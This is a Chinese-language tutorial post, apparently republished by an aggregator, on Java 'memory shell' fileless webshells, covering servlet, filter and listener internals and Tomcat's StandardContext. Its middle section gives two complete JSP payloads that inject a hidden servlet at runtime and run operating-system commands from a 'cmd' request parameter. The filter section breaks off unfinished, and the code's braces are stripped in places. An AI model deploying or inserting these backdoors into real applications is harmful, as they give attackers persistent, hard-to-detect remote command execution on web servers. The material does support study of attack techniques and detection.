一文了解内存马
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文了解内存马相关的知识,希望对你有一定的参考价值。
前言
随着攻防对抗的博弈愈发激烈,流量分析、EDR等专业安全设备被防守方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,webshell终于进入内存马时代,其关键在于无文件,利用中间件的进程执行恶意代码。本文试图进行一个学习,尽可能搞明白其来龙去脉
一、基础知识
1、Java web三大件
详情可参考:java web请求三大器——listener、filter、servlet
启动的顺序为listener->Filter->servlet,但是执行顺序与其特性相关,下面简单讲一下三大件
(1)Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理过程:
- 客户端发起一个HTTP请求,比如GET类型
- Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象
- Servlet容器调用HttpServlet的
init()
方法,init()
方法只在第一次请求的时候被调用 - Servlet容器调用
service()
方法,service()
方法根据请求类型,这里是GET类型,分别调用doGet或者doPost方法,这里调用doGet方法,doXXX方法中是我们自己写的业务逻辑 - 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端
- 容器关闭时候,会调用destory方法
生命周期:
- 服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法
init(ServletConfig conf)
- servlet对象去处理所有客户端请求,在
service(ServletRequest req,ServletResponse res)
方法中执行 - 服务器关闭时,销毁这个servlet对象,执行destroy()方法
- 由JVM进行垃圾回收
(2)Filter
Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是
- 在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据
- 在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据
基本工作原理
- Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的
- 当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改
- 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法
- 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的
- 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能
- 如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求
生命周期:
- 与Servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)
- 开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象
- Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
- 当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter
- 当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter
(3)Listener
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件:
- ServletContextListener:对Servlet上下文的创建和销毁进行监听
- ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换
- HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效
- HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听
- ServletRequestListener:对请求对象的初始化和销毁进行监听
- ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听
用途
- 可以使用监听器监听客户端的请求、服务端的操作等
- 可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等
生命周期
- listener的生命周期从web容器启动,到web容器销毁
2、Tomcat
详情可参考:Tomcat 架构原理解析到架构设计借鉴(这篇真的很详细具体)
简单理解,Tomcat是HTTP服务器+Servlet容器,对我们屏蔽了应用层协议和网络通信细节,给我们的是标准的 Request 和 Response 对象;对于具体的业务逻辑则作为变化点,交给我们来实现
Tomcat 启动流程:startup.sh -> catalina.sh start ->java -jar org.apache.catalina.startup.Bootstrap.main()
Tomcat 实现的 2 个核心功能:
- 处理 Socket 连接,负责网络字节流与 Request 和 Response 对象的转化
- 加载并管理 Servlet ,以及处理具体的 Request 请求
Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:
- Engine,实现类为
org.apache.catalina.core.StandardEngine
- Host,实现类为
org.apache.catalina.core.StandardHost
- Context,实现类为
org.apache.catalina.core.StandardContext
- Wrapper,实现类为
org.apache.catalina.core.StandardWrapper
3、其他
(1)Java 反射
Java反射无比强大,许多功能底层都是反射,其主要步骤包括:
- 获取目标类型的Class对象
- 通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
- 通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
(2)Java Instrumentation
Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等,使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互
在注入内存马的过程中,我们可以利用java Instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码
二、内存马概述
1、简史
(1)webshell的变迁过程
大致如下:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
这里用lex1993师傅的图小结下之前的webshell:
(2)内存马的变迁过程
内存马早在17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell中已初见端倪,但一直不温不火
18年经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景—— 利用“进程注入”实现无文件不死webshell,然终停留在奇技淫巧上
在各类HW洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。20年,LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究可以算是一波热潮起
至此内存马开枝散叶发展出了三大类型:
- servlet-api类:filter型、servlet型、listener型
- spring类:interceptor型、controller型
- Java Instrumentation类:agent型
当然还有tomcat、weblogic等框架、容器的内存马
2、内存马简介
- 目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
- 实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
三、内存马原理与实现
先放个各种demo的仓库:https://github.com/jweny/MemShellDemo
1、Servlet型
(1)注册过程
直接查看添加一个servlet后StandardContext的变化
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.yzddmr6.servletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装
一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.yzddmr6.servletDemo</servlet-class>
</servlet>
servlet有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系
servletMappings对应配置文件中的如下节点:
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
(2)内存马
过程:
- 创建一个恶意的servlet
- 获取当前的StandardContext
- 将恶意servlet封装成wrapper添加到StandardContext的children当中
- 添加ServletMapping将访问的URL和wrapper进行绑定
执行下面的代码,访问当前应用的/shell路径,加上cmd参数就可以命令执行
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 创建恶意Servlet
Servlet servlet = new Servlet()
@Override
public void init(ServletConfig servletConfig) throws ServletException
@Override
public ServletConfig getServletConfig()
return null;
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win"))
isLinux = false;
String[] cmds = isLinux ? new String[]"sh", "-c", cmd : new String[]"cmd.exe", "/c", cmd;
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
@Override
public String getServletInfo()
return null;
@Override
public void destroy()
;
%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell","jweny");
%>
(3)另一个实现
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->
<%
class EvilServlet implements Servlet
@Override
public void init(ServletConfig config) throws ServletException
@Override
public String getServletInfo() return null;
@Override
public void destroy() public ServletConfig getServletConfig() return null;
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null)
Runtime.getRuntime().exec(request1.getParameter("cmd"));
else
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMapping("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>
2、Filter型
(1)注册流程
可以看到请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行
自定义一个filter
package com.yzddmr6;
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter
@Override
public void init(FilterConfig filterConfig) throws ServletException
System.out.println("Filter初始化创建....");
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException
System.out.println("进行过滤操作......");
// 放行
chain.doFilter(request, response);
@Override
public void destroy()
然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo
即访问 /demo
才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
访问 http://localhost:8080/demo
,发现成功触发
整个流程可以用宽字节安全的图来小结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- FilterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
其中的一些类如下:
-
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
-
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
-
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern。对应了web.xml中配置的
<filter-mapping>
,里面代表了各个filter之间的调用顺序 -
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
-
WebXml:存放 web.xml 中内容的类
-
ContextConfig:Web应用的上下文配置类
-
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
-
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
(2)内存马
过程:
- 创建恶意filter
- 用filterDef对filter进行封装
- 将filterDef添加到filterDefs跟filterConfigs中
- 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
访问下面这个jsp,注入成功后,用?cmd=
即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才
以上是关于一文了解内存马的主要内容,如果未能解决你的问题,请参考以下文章